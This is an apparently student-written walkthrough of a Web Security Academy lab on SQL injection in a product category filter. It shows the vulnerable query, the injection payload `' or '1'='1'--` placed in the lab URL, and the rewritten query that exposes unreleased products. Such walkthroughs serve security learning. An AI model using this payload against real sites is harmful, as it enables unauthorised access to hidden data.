

Lab: SQL injection vulnerability in WHERE clause allowing retrieval of hidden data

This lab contains an **SQL injection** vulnerability in the product category filter. When the user selects a category, the application carries out an SQL query like the following:

```
SELECT * FROM products WHERE category = 'Gifts' AND released = 1
```

To solve the lab, perform an SQL injection attack that causes the application to display details of all products in any category, both released and unreleased.

The lab

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Here we go, when we visit any category and the url looks:

`https://0a14000103cac690c01b132400ce003e.web-security-academy.net/filter?category=Gifts`

And our first lab doesn't have any filter or any protection

```
SELECT * FROM products WHERE category = 'Gifts' AND released = 1
```

The payload in this case if `' or '1'='1'--`

New url with our payload is

`https://0a14000103cac690c01b132400ce003e.web-security-academy.net/filter?category=Gifts' or '1'='1'--`

So the SQL query like the following:

```
SELECT * FROM products WHERE category = 'Gifts' or '1'='1'--' AND released = 1
```



The lab is solved and showed all products in any category, both released and unreleased.